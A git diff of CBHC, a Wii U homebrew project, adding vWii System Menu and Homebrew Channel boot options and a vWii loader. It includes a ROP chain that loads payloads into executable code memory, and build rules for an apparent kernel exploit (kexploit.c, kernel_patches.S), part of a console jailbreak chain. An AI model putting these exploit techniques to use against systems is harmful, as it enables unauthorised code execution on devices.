diff --git a/dsrom/Makefile b/dsrom/Makefile index 8001715..3d93642 100644 --- a/dsrom/Makefile +++ b/dsrom/Makefile @@ -58,6 +58,7 @@ setup: @cd hbl_loader && make && cd .. @cd iosu_patcher && make && cd .. @cd option_select && make && cd .. + @cd vwii_loader && make && cd .. setup_animalcrossing: @rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin @@ -271,4 +272,5 @@ clean: @cd hbl_loader && make clean && cd .. @cd iosu_patcher && make clean && cd .. @cd option_select && make clean && cd .. + @cd vwii_loader && make clean && cd .. @echo "all cleaned up !" diff --git a/dsrom/cbhc_menu/main.c b/dsrom/cbhc_menu/main.c index cc9ed11..2f0384f 100644 --- a/dsrom/cbhc_menu/main.c +++ b/dsrom/cbhc_menu/main.c @@ -1,5 +1,5 @@ /* - * Copyright (C) 2016 FIX94 + * Copyright (C) 2016-2017 FIX94 * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. @@ -25,14 +25,18 @@ static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vp #define SD_HBL_PATH "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf" #define SD_MOCHA_PATH "/vol/external01/wiiu/apps/mocha/mocha.elf" -static const char *verChar = "CBHC v1.5u1 by FIX94"; +static const char *verChar = "CBHC v1.6 by FIX94"; +static const unsigned long long VWII_SYSMENU_TID = 0x0000000100000002ULL; +static const unsigned long long VWII_HBC_TID = 0x000100014C554C5AULL; #define DEFAULT_DISABLED 0 #define DEFAULT_SYSMENU 1 #define DEFAULT_HBL 2 #define DEFAULT_MOCHA 3 #define DEFAULT_CFW_IMG 4 -#define DEFAULT_MAX 5 +#define DEFAULT_VWII_SYSMENU 5 +#define DEFAULT_VWII_HBC 6 +#define DEFAULT_MAX 7 static const char *defOpts[DEFAULT_MAX] = { "DEFAULT_DISABLED", @@ -40,6 +44,8 @@ static const char *defOpts[DEFAULT_MAX] = { "DEFAULT_HBL", "DEFAULT_MOCHA", "DEFAULT_CFW_IMG", + "DEFAULT_VWII_SYSMENU", + "DEFAULT_VWII_HBC", }; static const char *bootOpts[DEFAULT_MAX] = { @@ -48,6 +54,8 @@ static const char *bootOpts[DEFAULT_MAX] = { "Homebrew Launcher", "Mocha CFW", "fw.img on SD Card", + "vWii System Menu", + "vWii Homebrew Channel", }; #define OSScreenEnable(enable) OSScreenEnableEx(0, enable); OSScreenEnableEx(1, enable); @@ -57,66 +65,55 @@ static const char *bootOpts[DEFAULT_MAX] = { uint32_t __main(void) { + /* coreinit functions */ unsigned int coreinit_handle; OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - void (*DCStoreRange)(const void *addr, uint32_t length); - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - + /* coreinit os functions*/ + int (*OSForceFullRelaunch)(void); + void (*OSSleepTicks)(unsigned long long ticks); void (*OSExitThread)(int); + unsigned long long(*OSGetTitleID)(); + + OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch); + OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks); OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID); - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); + /* coreinit os screen functions */ + void(*OSScreenInit)(); + void(*OSScreenEnableEx)(unsigned int bufferNum, int enable); + unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); + unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); + unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); + unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); + unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); - unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); - OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId); - unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0); - - unsigned int vpad_handle; - OSDynLoad_Acquire("vpad.rpl", &vpad_handle); - - int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); - OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); - - int vpadError = -1; - VPADData vpad; - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError == 0) - { - if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU) - { - // iosuhax-less menu launch backup code - int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr); - OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchTitleWithStdArgsInNoSplash",&_SYSLaunchTitleWithStdArgsInNoSplash); - _SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0); - OSExitThread(0); - return 0; - } - else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL) - { - // original hbl loader payload - strcpy((void*)0xF5E70000,SD_HBL_PATH); - return 0x01800000; - } - } + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); + /* coreinit memory functions */ + void (*DCStoreRange)(const void *addr, uint32_t length); unsigned int *pMEMAllocFromDefaultHeapEx; unsigned int *pMEMFreeToDefaultHeap; + OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); - void*(*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx); - void(*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap); - void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4); - void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4); + void* (*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx); + void (*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap); + /* coreinit fs functions */ int(*FSInit)(void); void(*FSShutdown)(void); int(*FSAddClient)(void *pClient, int errHandling); int(*FSDelClient)(void *pClient); void(*FSInitCmdBlock)(void *pCmd); - int(*FSWriteFile)(void *pClient, void *pCmd, const void *buffer, int size, int count, int fd, int flag, int errHandling); int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); @@ -128,17 +125,50 @@ uint32_t __main(void) OSDynLoad_FindExport(coreinit_handle, 0, "FSWriteFile", &FSWriteFile); OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile); + /* act functions */ unsigned int act_handle; OSDynLoad_Acquire("nn_act.rpl", &act_handle); + void(*nn_act_initialize)(void); + unsigned char(*nn_act_getslotno)(void); + unsigned char(*nn_act_getdefaultaccount)(void); + void(*nn_act_finalize)(void); + + OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize); + OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno); + OSDynLoad_FindExport(act_handle, 0, "GetDefaultAccount__Q2_2nn3actFv", &nn_act_getdefaultaccount); + OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize); + + /* padscore functions */ + unsigned int padscore_handle; + OSDynLoad_Acquire("padscore.rpl", &padscore_handle); + + void(*WPADEnableURCC)(int enable); + void(*KPADSetConnectCallback)(int chan, void *ptr); + void*(*WPADSetSyncDeviceCallback)(void *ptr); + void(*KPADShutdown)(void); + //easly allows us callback without execute permission on other cores + char(*WPADGetSpeakerVolume)(void); + void(*WPADSetSpeakerVolume)(char); + + OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC); + OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback); + OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback); + OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown); + OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume); + OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume); + + /* save functions */ unsigned int save_handle; OSDynLoad_Acquire("nn_save.rpl", &save_handle); + void(*SAVEInit)(void); void(*SAVEShutdown)(void); void(*SAVEInitSaveDir)(unsigned char user); int(*SAVEOpenFile)(void *pClient, void *pCmd, unsigned char user, const char *path, const char *mode, int *fd, int errHandling); int(*SAVEFlushQuota)(void *pClient, void *pCmd, unsigned char user, int errHandling); void(*SAVERename)(void *pClient, void *pCmd, unsigned char user, const char *oldpath, const char *newpath, int errHandling); + OSDynLoad_FindExport(save_handle, 0, "SAVEInit",&SAVEInit); OSDynLoad_FindExport(save_handle, 0, "SAVEShutdown",&SAVEShutdown); OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir",&SAVEInitSaveDir); @@ -146,24 +176,76 @@ uint32_t __main(void) OSDynLoad_FindExport(save_handle, 0, "SAVEFlushQuota", &SAVEFlushQuota); OSDynLoad_FindExport(save_handle, 0, "SAVERename", &SAVERename); - void(*nn_act_initialize)(void); - unsigned char(*nn_act_getslotno)(void); - unsigned char(*nn_act_getdefaultaccount)(void); - void(*nn_act_finalize)(void); - OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize); - OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno); - OSDynLoad_FindExport(act_handle, 0, "GetDefaultAccount__Q2_2nn3actFv", &nn_act_getdefaultaccount); - OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize); + /* sysapp functions */ + unsigned int sysapp_handle; + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); + + void (*SYSLaunchMenu)(void); + void(*_SYSLaunchMenuWithCheckingAccount)(unsigned char slot); + int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr); + unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); + + OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu); + OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMenuWithCheckingAccount", &_SYSLaunchMenuWithCheckingAccount); + OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchTitleWithStdArgsInNoSplash", &_SYSLaunchTitleWithStdArgsInNoSplash); + OSDynLoad_FindExport(sysapp_handle, 0, "_SYSGetSystemApplicationTitleId", &_SYSGetSystemApplicationTitleId); + + /* vpad functions */ + unsigned int vpad_handle; + OSDynLoad_Acquire("vpad.rpl", &vpad_handle); + + int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); + + OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); + + /* set up some variables */ + int launchmode = LAUNCH_SYSMENU; + unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF); + unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0); - FSInit(); nn_act_initialize(); unsigned char slot = nn_act_getslotno(); unsigned char defaultSlot = nn_act_getdefaultaccount(); + nn_act_finalize(); + + /* pre-menu button combinations which can be held on gamepad */ + int vpadError = -1; + VPADData vpad; + VPADRead(0, &vpad, 1, &vpadError); + if(vpadError == 0) + { + if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU) + { + // iosuhax-less menu launch backup code + _SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0); + OSExitThread(0); + return 0; + } + else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL) + { + // original hbl loader payload + strcpy((void*)0xF5E70000,SD_HBL_PATH); + return 0x01800000; + } + else if((vpad.btns_d|vpad.btns_h) == VPAD_BUTTON_B) + { + launchmode = LAUNCH_VWII_SYSMENU; + goto do_launch_selection; + } + } + +//cbhc_menu_start: + void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4); + void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4); + + //prepare FS and SAVE API + FSInit(); SAVEInit(); SAVEInitSaveDir(slot); FSAddClient(pClient, -1); FSInitCmdBlock(pCmd); + //check for autoboot file; if not found create one int autoboot = -1; int iFd = -1; int i; @@ -184,60 +266,20 @@ uint32_t __main(void) if (iFd >= 0) FSCloseFile(pClient, pCmd, iFd, -1); } - int launchmode = (autoboot > 0) ? (autoboot - 1) : LAUNCH_SYSMENU; + if(autoboot > 0) + launchmode = (autoboot - 1); int cur_autoboot = autoboot; - void(*OSScreenInit)(); - void(*OSScreenEnableEx)(unsigned int bufferNum, int enable); - unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - - unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - - unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - - unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - + //fire up screens OSScreenInit(); int screen_buf0_size = OSScreenGetBufferSizeEx(0); OSScreenSetBufferEx(0, (void*)(0xF4000000)); OSScreenSetBufferEx(1, (void*)(0xF4000000 + screen_buf0_size)); OSScreenEnable(1); - unsigned long long(*OSGetTitleID)(); - OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID); - unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF); - char verInfStr[64]; __os_snprintf(verInfStr,64,"%s (DS Title %08X)", verChar, dsvcid); - unsigned int padscore_handle; - OSDynLoad_Acquire("padscore.rpl", &padscore_handle); - - void(*OSSleepTicks)(unsigned long long ticks); - OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks",&OSSleepTicks); - - void(*WPADEnableURCC)(int enable); - void(*KPADSetConnectCallback)(int chan, void *ptr); - void*(*WPADSetSyncDeviceCallback)(void *ptr); - void(*KPADShutdown)(void); - OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC); - OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback); - OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback); - OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown); - //easly allows us callback without execute permission on other cores - char(*WPADGetSpeakerVolume)(void); - void(*WPADSetSpeakerVolume)(char); - OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume); - OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume); //enable wiiu pro controller connection WPADEnableURCC(1); //hachihachi instantly disconnects wiimotes normally @@ -250,9 +292,11 @@ uint32_t __main(void) WPADSetSpeakerVolume(1); WPADSetSyncDeviceCallback(WPADSetSpeakerVolume); + //no autoboot, straight to menu if(autoboot == DEFAULT_DISABLED) goto cbhc_menu; + //autoboot wait message OSScreenClearBuffer(0); OSScreenPutFont(0, 0, verInfStr); OSScreenPutFont(0, 1, "Autobooting..."); @@ -275,9 +319,9 @@ uint32_t __main(void) } usleep(50000); } - + //no menu requested, autoboot if(loadMenu == 0) - goto doIOSUexploit; + goto cbhc_menu_end; OSScreenClearBuffer(0); OSScreenPutFont(0, 0, verInfStr); @@ -293,7 +337,7 @@ uint32_t __main(void) cbhc_menu: ; int redraw = 1; int PosX = 0; - int ListMax = 5; + int ListMax = 7; int clickT = 0; while(1) { @@ -337,7 +381,7 @@ cbhc_menu: ; if( btnDown & VPAD_BUTTON_A ) { - if(PosX == 4) + if(PosX == 6) { cur_autoboot++; if(cur_autoboot == DEFAULT_MAX) @@ -364,8 +408,12 @@ cbhc_menu: ; OSScreenPutFont(0, 3, printStr); __os_snprintf(printStr,64,"%c Boot fw.img on SD Card", 3 == PosX ? '>' : ' '); OSScreenPutFont(0, 4, printStr); - __os_snprintf(printStr,64,"%c Autoboot: %s", 4 == PosX ? '>' : ' ', bootOpts[cur_autoboot]); + __os_snprintf(printStr,64,"%c Boot vWii System Menu", 4 == PosX ? '>' : ' '); OSScreenPutFont(0, 5, printStr); + __os_snprintf(printStr,64,"%c Boot vWii Homebrew Channel", 5 == PosX ? '>' : ' '); + OSScreenPutFont(0, 6, printStr); + __os_snprintf(printStr,64,"%c Autoboot: %s", 6 == PosX ? '>' : ' ', bootOpts[cur_autoboot]); + OSScreenPutFont(0, 7, printStr); OSScreenFlipBuffers(); redraw = 0; @@ -376,17 +424,14 @@ cbhc_menu: ; OSScreenFlipBuffers(); usleep(50000); -doIOSUexploit: - WPADSetSpeakerVolume(oriVol); - KPADShutdown(); - + //regular menu end, save settings, clean up and launch selection +cbhc_menu_end: ; if(cur_autoboot != autoboot) SAVERename(pClient, pCmd, slot, defOpts[autoboot], defOpts[cur_autoboot], -1); SAVEFlushQuota(pClient, pCmd, slot, -1); FSDelClient(pClient); SAVEShutdown(); - nn_act_finalize(); FSShutdown(); MEMFreeToDefaultHeap(pClient); @@ -395,14 +440,10 @@ doIOSUexploit: OSScreenClearBuffer(0); OSScreenFlipBuffers(); - int (*OSForceFullRelaunch)(void); - OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch); + WPADSetSpeakerVolume(oriVol); - //for patched menu launch - void (*SYSLaunchMenu)(void); - OSDynLoad_FindExport(sysapp_handle, 0,"SYSLaunchMenu", &SYSLaunchMenu); - void(*_SYSLaunchMenuWithCheckingAccount)(unsigned char slot); - OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchMenuWithCheckingAccount",&_SYSLaunchMenuWithCheckingAccount); +do_launch_selection: ; + KPADShutdown(); //store path to sd fw.img for arm_kernel if(launchmode == LAUNCH_CFW_IMG) @@ -425,6 +466,18 @@ doIOSUexploit: strcpy((void*)0xF5E70000,SD_MOCHA_PATH); return 0x01800000; } + else if(launchmode == LAUNCH_VWII_SYSMENU) + { + // vwii system menu bootup + memcpy((void*)0xF5E70000, &VWII_SYSMENU_TID, 8); + return 0x0180C000; + } + else if(launchmode == LAUNCH_VWII_HBC) + { + // vwii system menu bootup + memcpy((void*)0xF5E70000, &VWII_HBC_TID, 8); + return 0x0180C000; + } //sysmenu or cfw if(launchmode == LAUNCH_CFW_IMG) diff --git a/dsrom/global.h b/dsrom/global.h index 53d191d..e0f8ac7 100644 --- a/dsrom/global.h +++ b/dsrom/global.h @@ -6,5 +6,7 @@ #define LAUNCH_HBL 1 #define LAUNCH_MOCHA 2 #define LAUNCH_CFW_IMG 3 +#define LAUNCH_VWII_SYSMENU 4 +#define LAUNCH_VWII_HBC 5 #endif diff --git a/dsrom/haxchi_rop_cb.s b/dsrom/haxchi_rop_cb.s index 9ec3c2c..25a12de 100644 --- a/dsrom/haxchi_rop_cb.s +++ b/dsrom/haxchi_rop_cb.s @@ -5,6 +5,7 @@ HBL_LOADER_ADR equ (0x01800000) IOSU_PATCHER_ADR equ (0x01804000) CBHC_MENU_ADDR equ (0x01808000) +VWII_LOADER_ADDR equ (0x0180C000) NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000) NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000) @@ -226,11 +227,12 @@ rop_start: call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0 call_func MEMCPY, IOSU_PATCHER_ADR, iosu_patcher, iosu_patcher_end - iosu_patcher, 0x0 call_func MEMCPY, CBHC_MENU_ADDR, cbhc_menu, cbhc_menu_end - cbhc_menu, 0x0 - call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0 + call_func MEMCPY, VWII_LOADER_ADDR, vwii_loader, vwii_loader_end - vwii_loader, 0x0 + call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xF000, 0x0, 0x0 ; switch codegen to RX call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0 - call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xC000, 0x0, 0x0 + call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xF000, 0x0, 0x0 ; execute option_select in codegen .word CBHC_MENU_ADDR @@ -272,4 +274,8 @@ rop_start: .incbin "cbhc_menu.bin" cbhc_menu_end: + vwii_loader: + .incbin "vwii_loader.bin" + vwii_loader_end: + .Close diff --git a/dsrom/hbl_loader/sd_loader/include/stdint.h b/dsrom/hbl_loader/sd_loader/include/stdint.h new file mode 100644 index 0000000..ee6bb73 --- /dev/null +++ b/dsrom/hbl_loader/sd_loader/include/stdint.h @@ -0,0 +1,11 @@ +#ifndef _STDINT_WRAP_H +#define _STDINT_WRAP_H + +#include <../../powerpc-eabi/include/stdint.h> + +#define int32_t my_int32_t +#define uint32_t my_uint32_t +typedef signed int int32_t; +typedef unsigned int uint32_t; + +#endif \ No newline at end of file diff --git a/dsrom/vwii_loader/Makefile b/dsrom/vwii_loader/Makefile new file mode 100644 index 0000000..ef386f2 --- /dev/null +++ b/dsrom/vwii_loader/Makefile @@ -0,0 +1,46 @@ +PATH := $(DEVKITPPC)/bin:$(PATH) +PREFIX ?= powerpc-eabi- +CC = $(PREFIX)gcc +AS = $(PREFIX)gcc +CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin +ASFLAGS = -mregnames -x assembler-with-cpp +LD = $(PREFIX)ld +OBJCOPY = $(PREFIX)objcopy +LDFLAGS=-Ttext 180C000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -lgcc +OBJDUMP ?= $(PREFIX)objdump +project := . +root := $(CURDIR) +build := $(root)/bin + +sd_loader_elf := sd_loader/sd_loader.elf + +CFLAGS += -DUSE_SD_LOADER +ASFLAGS += -DUSE_SD_LOADER +FIRMWARE = 550 + +all: clean setup main + +sd_loader.h: $(sd_loader_elf) + xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@ + +$(sd_loader_elf): + make -C sd_loader + +setup: + mkdir -p $(root)/bin/ + +main: sd_loader.h + $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c + $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c + $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S + $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S + cp -r $(root)/*.o $(build) + rm $(root)/*.o + $(LD) -o vwii_loader.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map vwii_loader.map + $(OBJCOPY) vwii_loader.elf -S -O binary ../vwii_loader.bin + +clean: + rm -rf $(build) + rm -rf sd_loader.h + rm -rf vwii_loader.elf vwii_loader.map + make clean -C sd_loader diff --git a/dsrom/vwii_loader/README b/dsrom/vwii_loader/README new file mode 100644 index 0000000..c41328d --- /dev/null +++ b/dsrom/vwii_loader/README @@ -0,0 +1,3 @@ +This is a modified version of dimok's original homebrew launcher installer which can be found here: +https://github.com/dimok789/homebrew_launcher/tree/master/installer +This particular folder was hacked together to launch up vwii quickly. \ No newline at end of file diff --git a/dsrom/vwii_loader/common.h b/dsrom/vwii_loader/common.h new file mode 100644 index 0000000..1cedb68 --- /dev/null +++ b/dsrom/vwii_loader/common.h @@ -0,0 +1,45 @@ +#ifndef COMMON_H +#define COMMON_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "os_defs.h" + +#define HBL_VERSION "v1.4" + +#define CAFE_OS_SD_PATH "/vol/external01" +#define SD_PATH "sd:" +#define WIIU_PATH "/wiiu" + +#ifndef MEM_BASE +#define MEM_BASE (0x00800000) +#endif + +#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) +#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) +#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x08)) +#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C)) +#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10)) +#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) +#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) + +#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) + +#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600)) + +#define VWII_TITLE_ID_LOW (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0x00)) +#define VWII_TITLE_ID_HIGH (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0x04)) + +#ifndef EXIT_SUCCESS +#define EXIT_SUCCESS 0 +#endif +#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD + +#ifdef __cplusplus +} +#endif + +#endif /* COMMON_H */ + diff --git a/dsrom/vwii_loader/coreinit.h b/dsrom/vwii_loader/coreinit.h new file mode 100644 index 0000000..cf9943e --- /dev/null +++ b/dsrom/vwii_loader/coreinit.h @@ -0,0 +1,31 @@ +//Taken from libwiius coreinit.h + +#ifndef COREINIT_H +#define COREINIT_H + +#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) +#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) +#define OSFatal ((void (*)(char* msg))0x01031618) +#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) + +typedef struct OSContext +{ + /* OSContext identifier */ + uint32_t tag1; + uint32_t tag2; + + /* GPRs */ + uint32_t gpr[32]; + + /* Special registers */ + uint32_t cr; + uint32_t lr; + uint32_t ctr; + uint32_t xer; + + /* Initial PC and MSR */ + uint32_t srr0; + uint32_t srr1; +} OSContext; + +#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/vwii_loader/crt0.S b/dsrom/vwii_loader/crt0.S new file mode 100644 index 0000000..d2095cf --- /dev/null +++ b/dsrom/vwii_loader/crt0.S @@ -0,0 +1,7 @@ + + .extern __main + .globl _start + +_start: + # jump to our main + b __main diff --git a/dsrom/vwii_loader/elf_abi.h b/dsrom/vwii_loader/elf_abi.h new file mode 100644 index 0000000..4d9c796 --- /dev/null +++ b/dsrom/vwii_loader/elf_abi.h @@ -0,0 +1,591 @@ +/* + * Copyright (c) 1995, 1996, 2001, 2002 + * Erik Theisen. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY 